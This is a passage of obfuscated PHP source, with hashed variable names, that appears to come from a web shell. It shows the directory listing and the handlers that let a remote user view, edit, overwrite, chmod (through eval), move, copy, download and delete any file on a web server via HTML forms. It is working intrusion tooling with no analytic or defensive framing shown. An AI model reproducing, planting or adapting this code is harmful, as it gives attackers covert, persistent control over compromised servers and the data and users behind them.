$_35b2f08320a2169a648d2377cae768d3 = $_35b2f08320a2169a648d2377cae768d3["name"];
|
|||
|
$this->out("<td>" . @date ("F d Y H:i:s.", @filemtime($_bf765329c68fb45566ab3b1af145d2c2)) . "</td>");
|
|||
|
$this->out("<td>$_ca3b4c9ef3a45b7d6dc6af03bad1367b|$_35b2f08320a2169a648d2377cae768d3</td>");
|
|||
|
$this->out("<td><span title='" . @substr(@decoct(@fileperms($_bf765329c68fb45566ab3b1af145d2c2)),-4,4) . "'>" . $this->make_link("dir", array("name" => $_bf765329c68fb45566ab3b1af145d2c2, "act" => "chmod"), view_perms_color($_bf765329c68fb45566ab3b1af145d2c2)) . "</span></td>");
|
|||
|
$this->out("<td>" . $this->make_link("dir", array("name" => $_bf765329c68fb45566ab3b1af145d2c2, "act" => "info"), "[info]") . " - " . $this->make_link("dir", array("name" => $_bf765329c68fb45566ab3b1af145d2c2, "act" => "chmod"), "[chmod]") . " - " . $this->make_link("dir", array("name" => $_bf765329c68fb45566ab3b1af145d2c2, "act" => "delete"), "[delete]") . "</td>");
|
|||
|
$this->out("</tr>");
|
|||
|
}
|
|||
|
if (@is_array($_8e1c807f3c845b208dba4430e64f4d94['DIRS']))
|
|||
|
foreach ($_8e1c807f3c845b208dba4430e64f4d94['DIRS'] as $_23e43c1054e39145ffd2c948f87f107c => $_b52f6a3170e004ef525cff1e536b7427)
|
|||
|
{
|
|||
|
$this->out("<tr>");
|
|||
|
$this->out("<td><b>[" . $this->make_link("list", array("dir" => $_b52f6a3170e004ef525cff1e536b7427 . DIRECTORY_SEPARATOR), $_23e43c1054e39145ffd2c948f87f107c) . "]</b></td>");
|
|||
|
$this->out("<td>" . view_size(@filesize($_b52f6a3170e004ef525cff1e536b7427)) . "</td>");
|
|||
|
$_a7fcd5fac3ae867f8cdb4eb46a683477 = @posix_getpwuid(@fileowner($_b52f6a3170e004ef525cff1e536b7427));
|
|||
|
$_82e66704cd450201cf5168d64d52a4d3 = @posix_getgrgid(@filegroup($_b52f6a3170e004ef525cff1e536b7427));
|
|||
|
$_a7fcd5fac3ae867f8cdb4eb46a683477 = $_a7fcd5fac3ae867f8cdb4eb46a683477["name"];
|
|||
|
$_82e66704cd450201cf5168d64d52a4d3 = $_82e66704cd450201cf5168d64d52a4d3["name"];
|
|||
|
$this->out("<td>" . @date ("F d Y H:i:s.", @filemtime($_b52f6a3170e004ef525cff1e536b7427)) . "</td>");
|
|||
|
$this->out("<td>$_a7fcd5fac3ae867f8cdb4eb46a683477|$_82e66704cd450201cf5168d64d52a4d3</td>");
|
|||
|
$this->out("<td><span title='" . @substr(@decoct(@fileperms($_b52f6a3170e004ef525cff1e536b7427)),-4,4) . "'>" . $this->make_link("dir", array("name" => $_b52f6a3170e004ef525cff1e536b7427, "act" => "chmod"), view_perms_color($_b52f6a3170e004ef525cff1e536b7427)) . "</span></td>");
|
|||
|
$this->out("<td>" . $this->make_link("dir", array("name" => $_b52f6a3170e004ef525cff1e536b7427, "act" => "info"), "[info]") . " - " . $this->make_link("dir", array("name" => $_b52f6a3170e004ef525cff1e536b7427, "act" => "chmod"), "[chmod]") . " - " . $this->make_link("dir", array("name" => $_b52f6a3170e004ef525cff1e536b7427, "act" => "delete"), "[delete]") . "</td>");
|
|||
|
$this->out("</tr>");
|
|||
|
}
|
|||
|
if (@is_array($_8e1c807f3c845b208dba4430e64f4d94['FILES']))
|
|||
|
foreach ($_8e1c807f3c845b208dba4430e64f4d94['FILES'] as $_0136b647df83da4bb9a70b41420d9e05 => $_f3f7e9f4a6ad2cc07b147484d501377d)
|
|||
|
{
|
|||
|
$_ed02210e63e304003de8ccd669607668 = view_size(@filesize($_f3f7e9f4a6ad2cc07b147484d501377d));
|
|||
|
$_8501d6dd59b45b2159f1f73f6e17b11f = @md5(microtime() . $_0136b647df83da4bb9a70b41420d9e05);
|
|||
|
$this->out("<tr>");
|
|||
|
$this->out("<td><b><span title='$_0136b647df83da4bb9a70b41420d9e05 - Size: " . $_ed02210e63e304003de8ccd669607668 . "'>" . $this->make_link("file", array("name" => $_f3f7e9f4a6ad2cc07b147484d501377d, "act" => "view"), $_0136b647df83da4bb9a70b41420d9e05). "</span></b></td>");
|
|||
|
$this->out("<td>" . $_ed02210e63e304003de8ccd669607668 . "</td>");
|
|||
|
$_d2f5e3cb12e93bae6c4981faf06db693 = @posix_getpwuid(@fileowner($_f3f7e9f4a6ad2cc07b147484d501377d));
|
|||
|
$_048403d36ad14f408d11cb9c81b09d29 = @posix_getgrgid(@filegroup($_f3f7e9f4a6ad2cc07b147484d501377d));
|
|||
|
$_d2f5e3cb12e93bae6c4981faf06db693 = $_d2f5e3cb12e93bae6c4981faf06db693["name"];
|
|||
|
$_048403d36ad14f408d11cb9c81b09d29 = $_048403d36ad14f408d11cb9c81b09d29["name"];
|
|||
|
$this->out("<td>" . @date ("F d Y H:i:s.", @filemtime($_f3f7e9f4a6ad2cc07b147484d501377d)) . "</td>");
|
|||
|
$this->out("<td>$_d2f5e3cb12e93bae6c4981faf06db693|$_048403d36ad14f408d11cb9c81b09d29</td>");
|
|||
|
$this->out("<td><span title='" . @substr(@decoct(@fileperms($_f3f7e9f4a6ad2cc07b147484d501377d)),-4,4) . "'>" . $this->make_link("file", array("name" => $_f3f7e9f4a6ad2cc07b147484d501377d, "act" => "chmod"), view_perms_color($_f3f7e9f4a6ad2cc07b147484d501377d)) . "</span></td>");
|
|||
|
$_55b73f20aeec06c5111b6ba95bf29532 = @md5_file($_f3f7e9f4a6ad2cc07b147484d501377d);
|
|||
|
if (!@preg_match("/^[A-Fa-f0-9]{32}$/", $_55b73f20aeec06c5111b6ba95bf29532))
|
|||
|
{
|
|||
|
$_55b73f20aeec06c5111b6ba95bf29532 = "Not Available";
|
|||
|
};
|
|||
|
$this->out("<td>" . $this->make_link("file", array("act" => "edit", "name" => $_f3f7e9f4a6ad2cc07b147484d501377d), "[edit]") . ' - ' . $this->make_link("file", array("act" => "delete", "name" => $_f3f7e9f4a6ad2cc07b147484d501377d), "[delete]") . ' - ' . $this->make_link("file", array("act" => "view", "name" => $_f3f7e9f4a6ad2cc07b147484d501377d), "[view]") . ' - <a href="' . $this->make_link("file", array("act" => "download", "name" => $_f3f7e9f4a6ad2cc07b147484d501377d), NULL, TRUE) . '" target="_blank">[download]</a> - <a href="javascript:;" onclick=\'itemShowHide("list_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '","button_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '");\' title=\'' . $_55b73f20aeec06c5111b6ba95bf29532 . '\'>[MD5]</a><a id="button_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" href="javascript:;" onclick=\'itemShowHide("list_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '","button_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '");\'>[+]</a><div id="list_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" style=\'display: none;\'><b>MD5 Hash: </b>' . $_55b73f20aeec06c5111b6ba95bf29532 . '</div>' . "</td>");
|
|||
|
$this->out("</tr>");
|
|||
|
}
|
|||
|
$this->out("</table>");
|
|||
|
break;
|
|||
|
case "file":
|
|||
|
$_2e5c25529adea7d7ad4802936aee0b48 = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['act'];
|
|||
|
$_d3befca3813d65aff84c2353e705a0dd = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['name'];
|
|||
|
if (empty($_2e5c25529adea7d7ad4802936aee0b48))
|
|||
|
{
|
|||
|
$this->out("<center><b>Error: no act was specified</b></center>");
|
|||
|
return FALSE;
|
|||
|
};
|
|||
|
if ($_2e5c25529adea7d7ad4802936aee0b48 == "view")
|
|||
|
{
|
|||
|
if (!@is_file($_d3befca3813d65aff84c2353e705a0dd) || !@is_readable($_d3befca3813d65aff84c2353e705a0dd))
|
|||
|
{
|
|||
|
$this->out("<center><b>Error: the file does not exist or could not be read from.</b></center>");
|
|||
|
return FALSE;
|
|||
|
};
|
|||
|
$_4894710f990f9bda9ef69a94d3de9a25['basename'] = @basename($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_4894710f990f9bda9ef69a94d3de9a25['path'] = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_4894710f990f9bda9ef69a94d3de9a25['path'] = processdir($_4894710f990f9bda9ef69a94d3de9a25['path']['dirname']) . $_4894710f990f9bda9ef69a94d3de9a25['basename'];
|
|||
|
$_4894710f990f9bda9ef69a94d3de9a25['size'] = view_size(@filesize($_d3befca3813d65aff84c2353e705a0dd));
|
|||
|
$_4894710f990f9bda9ef69a94d3de9a25['md5'] = @md5_file($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_d2f5e3cb12e93bae6c4981faf06db693 = @posix_getpwuid(@fileowner($_d3befca3813d65aff84c2353e705a0dd));
|
|||
|
$_048403d36ad14f408d11cb9c81b09d29 = @posix_getgrgid(@filegroup($_d3befca3813d65aff84c2353e705a0dd));
|
|||
|
$_d2f5e3cb12e93bae6c4981faf06db693 = $_d2f5e3cb12e93bae6c4981faf06db693["name"];
|
|||
|
$_048403d36ad14f408d11cb9c81b09d29 = $_048403d36ad14f408d11cb9c81b09d29["name"];
|
|||
|
$_4894710f990f9bda9ef69a94d3de9a25['owner_group'] = "$_d2f5e3cb12e93bae6c4981faf06db693|$_048403d36ad14f408d11cb9c81b09d29";
|
|||
|
$_4894710f990f9bda9ef69a94d3de9a25['permissions'] = view_perms_color($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_4894710f990f9bda9ef69a94d3de9a25['modified'] = @date ("F d Y H:i:s.", @filemtime($_d3befca3813d65aff84c2353e705a0dd));
|
|||
|
$_4894710f990f9bda9ef69a94d3de9a25['created'] = @date ("F d Y H:i:s.", @filectime($_d3befca3813d65aff84c2353e705a0dd));
|
|||
|
$_4894710f990f9bda9ef69a94d3de9a25['accessed'] = @date ("F d Y H:i:s.", @fileatime($_d3befca3813d65aff84c2353e705a0dd));
|
|||
|
$this->out('<table width=100% border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<center>
|
|||
|
<strong><font color=green>' . $_4894710f990f9bda9ef69a94d3de9a25['basename'] . '</font></strong>
|
|||
|
</center>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<table width=100%>
|
|||
|
<tr>
|
|||
|
<td valign="top" width=70%>
|
|||
|
<div align="center"><strong>File Information </strong></div>
|
|||
|
<table width=100%>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
Path: <b>' . $_4894710f990f9bda9ef69a94d3de9a25['path'] . '</b>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
Size: <b>' . $_4894710f990f9bda9ef69a94d3de9a25['size'] . '</b>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
MD5: <b>' . $_4894710f990f9bda9ef69a94d3de9a25['md5'] . '</b>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
Owner|Group: <b>' . $_4894710f990f9bda9ef69a94d3de9a25['owner_group'] . '</b>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
Permissions: <b>' . $this->make_link("file", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_4894710f990f9bda9ef69a94d3de9a25['permissions']) . '</b>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
Creation: <strong>' . $_4894710f990f9bda9ef69a94d3de9a25['created'] . '</strong> </td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
Modification: <strong>' . $_4894710f990f9bda9ef69a94d3de9a25['modified'] . '</strong> </td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
Access: <strong>' . $_4894710f990f9bda9ef69a94d3de9a25['accessed'] . '</strong> </td>
|
|||
|
</tr>
|
|||
|
</table>
|
|||
|
</td>
|
|||
|
<td valign="top">
|
|||
|
<div align="center"><strong>File Actions</strong></div>
|
|||
|
<table width=100%>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<strong>
|
|||
|
' . $this->make_link("file", array("act" => "edit", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[edit]") . '
|
|||
|
</strong>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td><strong>' . $this->make_link("file", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[chmod]") . '</strong></td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<strong>' . $this->make_link("file", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[move]") . '</strong>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<strong>' . $this->make_link("file", array("act" => "copy", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[copy]") . '</strong>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<strong>' . $this->make_link("file", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[delete]") . '</strong>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<strong><a href="' . $this->make_link("file", array("act" => "download", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" target="_blank">[download]</a></strong>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
</table>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
</table>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
</table>');
|
|||
|
}
|
|||
|
elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "chmod")
|
|||
|
{
|
|||
|
if (!@is_file($_d3befca3813d65aff84c2353e705a0dd))
|
|||
|
{
|
|||
|
$this->out("<center><b>Error: the file does not exist or could not be read from.</b></center>");
|
|||
|
return FALSE;
|
|||
|
};
|
|||
|
$_4efbfa502ea6e58b84de1cdc04aecadf = $_POST['newmode'];
|
|||
|
if (empty($_4efbfa502ea6e58b84de1cdc04aecadf))
|
|||
|
{
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];
|
|||
|
$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_13f531c0ca48f6a5f8315121bf59ffaa = file_perms($_d3befca3813d65aff84c2353e705a0dd, TRUE);
|
|||
|
$this->out("Changing file permissions of <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b>, " . view_perms_color($_d3befca3813d65aff84c2353e705a0dd) . " (".substr(decoct(fileperms($_d3befca3813d65aff84c2353e705a0dd)),-4,4).")<br>" . '<form method="post" action="' . $this->make_link("file", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '"><input name="newmode" type="text" value="' . $_13f531c0ca48f6a5f8315121bf59ffaa . '" size="4" maxlength="4"><br><input type="submit" name="Submit" value="Set"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_4efbfa502ea6e58b84de1cdc04aecadf = @intval($_4efbfa502ea6e58b84de1cdc04aecadf);
|
|||
|
$_d3befca3813d65aff84c2353e705a0dd = @base64_encode($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_16d3c4cdd343a37db4994c3591c83993 = "chmod (base64_decode('" . $_d3befca3813d65aff84c2353e705a0dd . "'), 0" . $_4efbfa502ea6e58b84de1cdc04aecadf . ");";
|
|||
|
if (eval($_16d3c4cdd343a37db4994c3591c83993) === FALSE)
|
|||
|
{
|
|||
|
$_d3befca3813d65aff84c2353e705a0dd = @base64_decode($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$this->out("<center><b>Failed to change permissions of file. " . $this->make_link("file", array("name" => $_d3befca3813d65aff84c2353e705a0dd, "act" => "view"), " Click here to go back to file.") . "</b></center>");
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
@clearstatcache();
|
|||
|
$_d3befca3813d65aff84c2353e705a0dd = @base64_decode($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];
|
|||
|
$_9074596a8e59a87e41db87f3029b4959 = basename($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_13f531c0ca48f6a5f8315121bf59ffaa = file_perms($_d3befca3813d65aff84c2353e705a0dd, TRUE);
|
|||
|
$this->out("Changing file permissions of <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b>, " . view_perms_color($_d3befca3813d65aff84c2353e705a0dd) . " (".substr(decoct(fileperms($_d3befca3813d65aff84c2353e705a0dd)),-4,4).")<br>" . '<form method="post" action="' . $this->make_link("file", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '"><input name="newmode" type="text" value="' . $_13f531c0ca48f6a5f8315121bf59ffaa . '" size="4" maxlength="4"><br><input type="submit" name="Submit" value="Set"></form>');
|
|||
|
};
|
|||
|
};
|
|||
|
}
|
|||
|
elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "edit")
|
|||
|
{
|
|||
|
$this->out("<table width=100%><tr><!-- <td><a id='sqlconnectbox' href='javascript:;' onclick='itemShowHide(\"sqlconnectbox_div\", \"sqlconnectbox\")'>[+]</a><br><div id='sqlconnectbox_div' style='display: none;'>{SQL Connection Interfase}</div></td> !--><td>");
|
|||
|
if (!@is_file($_d3befca3813d65aff84c2353e705a0dd) || !@is_readable($_d3befca3813d65aff84c2353e705a0dd))
|
|||
|
{
|
|||
|
$this->out("<center><b>Error: the file does not exist or could not be read from.</b></center>");
|
|||
|
return FALSE;
|
|||
|
};
|
|||
|
if (!isset($_POST['newdata']))
|
|||
|
{
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];
|
|||
|
$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$this->out("Editing file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<form method="post" action="' . $this->make_link("file", array("act" => "edit", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" enctype="multipart/form-data"><textarea id="newdata" name="newdata" rows="20" style="width:100%;">' . @htmlspecialchars(@implode("", @file($_d3befca3813d65aff84c2353e705a0dd))) . '</textarea><input type="submit" value="Save"><input type="reset" value="Reset"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_4aac6af23de22a66b42d8ba63e7fc9fe = $_POST['newdata'];
|
|||
|
$_4aac6af23de22a66b42d8ba63e7fc9fe = @stripslashes($_4aac6af23de22a66b42d8ba63e7fc9fe);
|
|||
|
$_c14f19c15d50e72a5733c0ad88a035b9 = @fopen($_d3befca3813d65aff84c2353e705a0dd, "w");
|
|||
|
@fwrite($_c14f19c15d50e72a5733c0ad88a035b9, $_4aac6af23de22a66b42d8ba63e7fc9fe);
|
|||
|
@fclose($_c14f19c15d50e72a5733c0ad88a035b9);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];
|
|||
|
$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$this->out("Editing file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<b>Success!</b><br><form method="post" action="' . $this->make_link("file", array("act" => "edit", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" enctype="multipart/form-data"><textarea id="newdata" name="newdata" rows="20" style="width:100%;">' . @htmlspecialchars(@implode("", @file($_d3befca3813d65aff84c2353e705a0dd))) . '</textarea><input type="submit" value="Save"><input type="reset" value="Reset"></form>');
|
|||
|
};
|
|||
|
$this->out("</td></tr></table>");
|
|||
|
}
|
|||
|
elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "move")
|
|||
|
{
|
|||
|
$_d0b3e9370ba342bbae976cec71233e51 = $_POST['moveto'];
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];
|
|||
|
if (!isset($_POST['moveto']))
|
|||
|
{
|
|||
|
$this->out("Preparing to move file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<form action="' . $this->make_link("file", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Move"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_d0b3e9370ba342bbae976cec71233e51 = @htmlspecialchars_decode($_d0b3e9370ba342bbae976cec71233e51);
|
|||
|
if (!@rename($_d3befca3813d65aff84c2353e705a0dd, $_d0b3e9370ba342bbae976cec71233e51))
|
|||
|
{
|
|||
|
$this->out("Preparing to move file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Move"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_d0b3e9370ba342bbae976cec71233e51;
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_2211b5dc6bb7947adcb0bf14cee6591e);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];
|
|||
|
$_9074596a8e59a87e41db87f3029b4959 = @basename($_d0b3e9370ba342bbae976cec71233e51);
|
|||
|
$this->out("Preparing to move file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d0b3e9370ba342bbae976cec71233e51), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Success!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post" enctype="text/plain"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d0b3e9370ba342bbae976cec71233e51) . '"><br><input type="submit" value="Move"></form>');
|
|||
|
};
|
|||
|
};
|
|||
|
}
|
|||
|
elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "copy")
|
|||
|
{
|
|||
|
$_d4328d5d2bbd5a7a94ae0b56d6e6aade = $_POST['copyto'];
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];
|
|||
|
if (!isset($_POST['copyto']))
|
|||
|
{
|
|||
|
$this->out("Preparing to copy file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<form action="' . $this->make_link("file", array("act" => "copy", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="copyto" type="text" id="copyto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Copy"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_d4328d5d2bbd5a7a94ae0b56d6e6aade = @htmlspecialchars_decode($_d4328d5d2bbd5a7a94ae0b56d6e6aade);
|
|||
|
if (!@copy($_d3befca3813d65aff84c2353e705a0dd, $_d4328d5d2bbd5a7a94ae0b56d6e6aade))
|
|||
|
{
|
|||
|
$this->out("Preparing to copy file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "copy", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="copyto" type="text" id="copyto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Copy"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$this->out("Preparing to copy file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Success!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "copy", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="copyto" type="text" id="copyto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Copy"></form>');
|
|||
|
};
|
|||
|
};
|
|||
|
}
|
|||
|
elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "delete")
|
|||
|
{
|
|||
|
$_2a46f3328eaed89ef8402d4effba331e = $_POST['confirm_delete'];
|
|||
|
if (!isset($_POST['confirm_delete']))
|
|||
|
{
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];
|
|||
|
$this->out("Are you sure you wish to delete file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<form action="' . $this->make_link("file", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="confirm_delete" type="hidden" id="confirm_delete" value="YES"><input type="submit" value="Delete file"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];
|
|||
|
if (!@unlink($_d3befca3813d65aff84c2353e705a0dd))
|
|||
|
{
|
|||
|
$this->out("Are you sure you wish to delete file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="confirm_delete" type="hidden" id="confirm_delete" value="YES"><input type="submit" value="Delete file"></form>');
|
|||
|
}
|
